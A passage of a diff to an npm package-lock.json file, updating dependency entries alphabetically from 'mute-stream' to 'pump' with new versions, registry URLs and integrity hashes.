"sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "mute-stream": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", - "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", - "dev": true - }, - "nanoid": { + "node-sarif-builder": { "version": "3.2.0", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.2.0.tgz", - "integrity": "sha512-fmsZYa9lpn69Ad5eDn7FMcnnSR+8R34W9qJEijxYhTbfOWzr22n1QxCMzXLK+ODyW2973V3Fux959iQoUxzUIA==", - "dev": true - }, - "napi-build-utils": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", - "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==", - "dev": true + "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.2.0.tgz", + "integrity": "sha512-kVIOdynrF2CRodHZeP/97Rh1syTUHBNiw17hUCIVhlhEsWlfJm19MuO56s4MdKbr22xWx6mzMnNAgXzVlIYM9Q==", + "dev": true, + "requires": { + "@types/sarif": "^2.1.7", + "fs-extra": "^11.1.1" + } }, - "natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", - "dev": true + "nopt": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-6.0.0.tgz", + "integrity": "sha512-ZwLpbTgdhuZUnZzjd7nb1ZV+4DoiC6/sfiVKok72ym/4Tlf+DFdlHYmT2JPmcNNWV6Pi3SDf1kT+A4r9RTuT9g==", + "dev": true, + "requires": { + "abbrev": "^1.0.0" + } }, - "node-abi": { - "version": "2.30.1", - "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-2.30.1.tgz", - "integrity": "sha512-/2D0wOQPgaUWzVSVgRMx+trKJRC2UG4SUc4oCJoXx9Uxjtp0Vy3/kt7zcbxHF8+Z/pK3UloLWzBISg72brfy1w==", + "normalize-package-data": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-6.0.2.tgz", + "integrity": "sha512-V6gygoYb/5EmNI+MEGrWkC+e6+Rr7mTmfHrxDbLzxQogBkgzo76rkok0Am6thgSF7Mv2nLOajAJj5vDJZEFn7g==", "dev": true, "requires": { - "semver": "^5.4.1" + "hosted-git-info": "^7.0.0", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4" }, "dependencies": { - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "hosted-git-info": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.2.tgz", + "integrity": "sha512-puUZAUKT5m8Zzvs72XWy3HtvVbTWljRE66cP60bxJzAqf2DgICo7lYTY2IHUmLnNpjYvw5bvmoHvPc0QO2a62w==", + "dev": true, + "requires": { + "lru-cache": "^10.0.1" + } + }, + "lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", "dev": true } } }, - "node-addon-api": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz", - "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A==", - "dev": true - }, "normalize-path": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==" }, "npmlog": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", + "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", "dev": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "^3.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^4.0.3", + "set-blocking": "^2.0.0" } }, "nth-check": { @@ -5788,24 +18300,37 @@ "boolbase": "^1.0.0" } }, - "number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true - }, "object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", "dev": true }, "object-inspect": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", - "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==", + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz", + "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==", "dev": true }, + "octokit": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/octokit/-/octokit-3.2.2.tgz", + "integrity": "sha512-7Abo3nADdja8l/aglU6Y3lpnHSfv0tw7gFPiqzry/yCU+2gTAX7R1roJ8hJrxIK+S1j+7iqRJXtmuHJ/UDsBhQ==", + "dev": true, + "requires": { + "@octokit/app": "^14.0.2", + "@octokit/core": "^5.0.0", + "@octokit/oauth-app": "^6.0.0", + "@octokit/plugin-paginate-graphql": "^4.0.0", + "@octokit/plugin-paginate-rest": "11.4.4-cjs.2", + "@octokit/plugin-rest-endpoint-methods": "13.3.2-cjs.1", + "@octokit/plugin-retry": "^6.0.0", + "@octokit/plugin-throttling": "^8.0.0", + "@octokit/request-error": "^5.0.0", + "@octokit/types": "^13.0.0", + "@octokit/webhooks": "^12.3.1" + } + }, "once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", @@ -5815,18 +18340,128 @@ "wrappy": "1" } }, + "one-time": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/one-time/-/one-time-1.0.0.tgz", + "integrity": "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==", + "dev": true, + "requires": { + "fn.name": "1.x.x" + } + }, + "onetime": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", + "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", + "dev": true, + "requires": { + "mimic-function": "^5.0.0" + } + }, + "open": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dev": true, + "requires": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + } + }, "optionator": { - "version": "0.9.1", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz", - "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", "dev": true, "requires": { + "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.3" + "type-check": "^0.4.0" + } + }, + "ora": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/ora/-/ora-8.2.0.tgz", + "integrity": "sha512-weP+BZ8MVNnlCm8c0Qdc1WSWq4Qn7I+9CJGm7Qali6g44e/PUzbjNqJX5NJ9ljlNMosfJvg1fKEGILklK9cwnw==", + "dev": true, + "requires": { + "chalk": "^5.3.0", + "cli-cursor": "^5.0.0", + "cli-spinners": "^2.9.2", + "is-interactive": "^2.0.0", + "is-unicode-supported": "^2.0.0", + "log-symbols": "^6.0.0", + "stdin-discarder": "^0.2.2", + "string-width": "^7.2.0", + "strip-ansi": "^7.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", + "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "dev": true + }, + "chalk": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz", + "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==", + "dev": true + }, + "emoji-regex": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", + "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", + "dev": true + }, + "is-unicode-supported": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-2.1.0.tgz", + "integrity": "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==", + "dev": true + }, + "log-symbols": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-6.0.0.tgz", + "integrity": "sha512-i24m8rpwhmPIS4zscNzK6MSEhk0DUWa/8iYQWxhffV8jkI4Phvs3F+quL5xvS0gdQR0FyTCMMH33Y78dDTzzIw==", + "dev": true, + "requires": { + "chalk": "^5.3.0", + "is-unicode-supported": "^1.3.0" + }, + "dependencies": { + "is-unicode-supported": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz", + "integrity": "sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==", + "dev": true + } + } + }, + "string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "requires": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + } + }, + "strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "requires": { + "ansi-regex": "^6.0.1" + } + } } }, "p-limit": { @@ -5847,6 +18482,33 @@ "p-limit": "^3.0.2" } }, + "p-map": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-7.0.3.tgz", + "integrity": "sha512-VkndIv2fIB99swvQoA65bm+fsmt6UNdGeIB0oxBs+WhAhdh08QA04JXpI7rbB9r08/nkbysKoya9rtDERYOYMA==", + "dev": true + }, + "package-json-from-dist": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.0.tgz", + "integrity": "sha512-dATvCeZN/8wQsGywez1mzHtTlP22H8OEfPrVMLNr4/eGa+ijtLn/6M5f0dY8UKNrC2O9UCU6SSoG3qRKnt7STw==" + }, + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true + }, + "param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", @@ -5856,23 +18518,57 @@ "callsites": "^3.0.0" } }, + "parse-imports-exports": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/parse-imports-exports/-/parse-imports-exports-0.2.4.tgz", + "integrity": "sha512-4s6vd6dx1AotCx/RCI2m7t7GCh5bDRUtGNvRfHSP2wbBQdMi67pPe7mtzmgwcaQ8VKK/6IB7Glfyu3qdZJPybQ==", + "dev": true, + "requires": { + "parse-statements": "1.0.11" + } + }, + "parse-json": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", + "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.26.2", + "index-to-position": "^1.1.0", + "type-fest": "^4.39.1" + }, + "dependencies": { + "type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true + } + } + }, "parse-semver": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/parse-semver/-/parse-semver-1.1.1.tgz", - "integrity": "sha1-mkr9bfBj3Egm+T+6SpnPIj9mbLg=", + "integrity": "sha512-Eg1OuNntBMH0ojvEKSrvDSnwLmvVuUOSdylH/pSCPNMIspLlweJyIWXCE+k/5hm3cj/EBUYwmWkjhBALNP4LXQ==", "dev": true, "requires": { "semver": "^5.1.0" }, "dependencies": { "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", "dev": true } } }, + "parse-statements": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/parse-statements/-/parse-statements-1.0.11.tgz", + "integrity": "sha512-HlsyYdMBnbPQ9Jr/VgJ1YF4scnldvJpJxCVx6KgqPL4dxppsWrJHCIIxQXMJrqGnsRkNPATbeMJ8Yxu7JMsYcA==", + "dev": true + }, "parse5": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", @@ -5888,6 +18584,26 @@ "parse5": "^6.0.1" } }, + "pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "path-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/path-case/-/path-case-3.0.4.tgz", + "integrity": "sha512-qO4qCFjXqVTrcbPt/hQfhTQ+VhFsqNKOPtytgNKkKxSoEp3XPUQ8ObFuePylOIok5gjn69ry8XiULxCwot3Wfg==", + "dev": true, + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -5897,19 +18613,40 @@ "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", "dev": true }, "path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==" + }, + "path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "requires": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "dependencies": { + "lru-cache": { + "version": "10.3.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.3.0.tgz", + "integrity": "sha512-CQl19J/g+Hbjbv4Y3mFNNXFEL/5t/KCg8POCuUqd4rMKjGG+j1ybER83hxV58zL+dFI1PTkt3GNFSHRt+d8qEQ==" + } + } }, "path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-6.0.0.tgz", + "integrity": "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ==", + "dev": true + }, + "pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", "dev": true }, "pend": { @@ -5918,45 +18655,84 @@ "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", "dev": true }, + "picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true + }, "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==" + }, + "pidtree": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/pidtree/-/pidtree-0.6.0.tgz", + "integrity": "sha512-eG2dWTVw5bzqGRztnHExczNxt5VGsE6OwTeCG3fdUf9KBsZzO3R5OIIIzWR+iZA0NtZ+RDVdaoE2dK1cn6jH4g==", + "dev": true + }, + "pify": { "version": "2.3.0", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz", - "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", "dev": true }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==", + "dev": true + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==", + "dev": true, + "requires": { + "pinkie": "^2.0.0" + } + }, "plist": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/plist/-/plist-3.0.5.tgz", - "integrity": "sha512-83vX4eYdQp3vP9SxuYgEM/G/pJQqLUz/V/xzPrzruLs7fz7jxGQ1msZ/mg1nwZxUSuOp4sb+/bEIbRrbzZRxDA==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/plist/-/plist-3.1.0.tgz", + "integrity": "sha512-uysumyrvkUX0rX/dEVqt8gC3sTBzd4zoWfLeS29nb53imdaXVvLINYXTI2GNqzaMuvacNx4uJQ8+b3zXR0pkgQ==", "requires": { + "@xmldom/xmldom": "^0.8.8", "base64-js": "^1.5.1", - "xmlbuilder": "^9.0.7" + "xmlbuilder": "^15.1.1" }, "dependencies": { "xmlbuilder": { - "version": "9.0.7", - "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-9.0.7.tgz", - "integrity": "sha1-Ey7mPS7FVlxVfiD0wi35rKaGsQ0=" + "version": "15.1.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-15.1.1.tgz", + "integrity": "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg==" } } }, + "pluralize": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-8.0.0.tgz", + "integrity": "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==", + "dev": true + }, "prebuild-install": { - "version": "6.1.4", - "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-6.1.4.tgz", - "integrity": "sha512-Z4vpywnK1lBg+zdPCVCsKq0xO66eEV9rWo2zrROGGiRS4JtueBOdlB1FnY8lcy7JsUud/Q3ijUxyWN26Ika0vQ==", + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.1.tgz", + "integrity": "sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==", "dev": true, + "optional": true, "requires": { - "detect-libc": "^1.0.3", + "detect-libc": "^2.0.0", "expand-template": "^2.0.3", "github-from-package": "0.0.0", "minimist": "^1.2.3", "mkdirp-classic": "^0.5.3", "napi-build-utils": "^1.0.1", - "node-abi": "^2.21.0", - "npmlog": "^4.0.1", + "node-abi": "^3.3.0", "pump": "^3.0.0", "rc": "^1.2.7", - "simple-get": "^3.0.3", + "simple-get": "^4.0.0", "tar-fs": "^2.0.0", "tunnel-agent": "^0.6.0" } @@ -5967,53 +18743,85 @@ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", "dev": true }, + "presentable-error": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/presentable-error/-/presentable-error-0.0.1.tgz", + "integrity": "sha512-E6rsNU1QNJgB3sjj7OANinGncFKuK+164sLXw1/CqBjj/EkXSoSdHCtWQGBNlREIGLnL7IEUEGa08YFVUbrhVg==", + "dev": true + }, "prettier": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.5.1.tgz", - "integrity": "sha512-vBZcPRUR5MZJwoyi3ZoyQlc1rXeEck8KgeC9AwwOn+exuxLxq5toTRDTSaVrXHxelDMHy9zlicw8u66yxoSUFg==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.6.2.tgz", + "integrity": "sha512-I7AIg5boAr5R0FFtJ6rCfD+LFsWHp81dolrFD8S79U9tb8Az2nGrJncnMSnys+bpQJfRUzqs9hnA81OAA3hCuQ==", "dev": true }, + "process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==" + }, "process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" }, - "progress": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==", "dev": true }, + "promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "dev": true, + "requires": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + } + }, "pump": { "version": 